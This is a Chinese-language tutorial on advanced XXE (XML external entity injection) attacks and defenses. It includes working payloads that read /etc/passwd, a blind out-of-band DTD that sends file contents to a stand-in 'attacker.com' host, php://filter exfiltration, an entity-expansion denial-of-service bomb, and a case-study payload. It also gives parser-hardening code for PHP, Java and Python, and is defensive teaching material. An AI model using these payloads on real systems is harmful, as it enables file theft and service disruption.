XXE(XML外部实体注入)漏洞与防护(进阶实战篇)
字数 1233 2025-11-19 01:40:13
XXE(XML外部实体注入)漏洞与防护(进阶实战篇)
1. 漏洞描述
XXE(XML External Entity Injection)是一种利用XML解析器处理外部实体的安全漏洞。攻击者通过构造恶意的XML输入,可导致敏感文件读取、内网探测、拒绝服务或远程代码执行(取决于解析器配置)。在进阶场景中,XXE可能隐藏在SOAP协议、文档解析、API请求等复杂交互中,甚至通过DTD引用或参数实体实现无显式输出的盲攻击。
2. XML外部实体基础
XML允许定义实体(即变量),例如:
<!DOCTYPE example [ <!ENTITY name "value"> ]>
<foo>&name;</foo> <!-- 解析后显示为 <foo>value</foo> -->
外部实体可通过URI引用外部资源:
<!DOCTYPE example [
<!ENTITY ext SYSTEM "file:///etc/passwd">
]>
<data>&ext;</data> <!-- 解析器会读取文件内容并替换 -->
3. 进阶攻击手法
(1)盲注XXE(无回显)
若响应中不直接返回数据,攻击者可通过参数实体触发带外数据外泄:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd">
%remote;
]>
恶意DTD文件(malicious.dtd)内容:
<!ENTITY % payload SYSTEM "file:///secret.txt">
<!ENTITY % trigger "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
%trigger;
%exfil;
解析器会尝试将secret.txt内容通过HTTP请求发送到攻击者服务器。
(2)利用协议包装器
file://:读取本地文件(如file:///c:/windows/system.ini)。http://:探测内网服务(如http://192.168.1.1:8080)。php://filter(PHP环境):转换文件内容为Base64后外泄(如php://filter/convert.base64-encode/resource=config.php)。
(3)嵌套实体攻击(DoS)
通过递归引用实体消耗内存:
<!DOCTYPE bomb [
<!ENTITY a "aaaaaaaaaa...">
<!ENTITY b "&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;">
]>
<root>&c;</root>
4. 漏洞挖掘步骤
- 识别XML输入点:检查HTTP请求中是否包含XML(如SOAP、Content-Type: application/xml)。
- 测试实体解析:尝试注入简单实体(如
&xxe;)观察是否被解析。 - 探测外部资源:使用
SYSTEM关键字引用外部URL(如http://burpcollaborator.net),监控是否有解析器发起的请求。 - 尝试文件读取:替换URL为
file:///etc/passwd或系统路径。 - 盲注测试:若無回显,通过DNS或HTTP带外通道验证漏洞。
5. 防护方案
(1)禁用外部实体
- PHP:
libxml_disable_entity_loader(true); - Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); - Python(lxml):
parser = etree.XMLParser(resolve_entities=False)
(2)输入过滤与沙箱化
- 严格验证XML结构,禁止DTD声明(如正则匹配
<!DOCTYPE)。 - 使用白名单限制允许的XML标签和属性。
(3)依赖库升级
使用最新版本的XML解析库(如libxml2≥2.9),默认禁用外部实体。
(4)网络隔离
限制解析器发起的网络请求(通过防火墙规则或安全组)。
6. 实战案例
某金融系统通过XML上传交易数据,攻击者构造如下Payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://attacker.com/exploit.dtd">
%dtd;
]>
<transaction>&exfil;</transaction>
恶意DTD通过多层参数实体读取数据库配置文件并外泄。防护方案:在解析前剥离DTD声明,并启用解析器的安全模式。
通过以上步骤,可系统化理解XXE漏洞的进阶利用与防护,尤其在复杂场景中需结合协议分析、带外检测和代码层加固。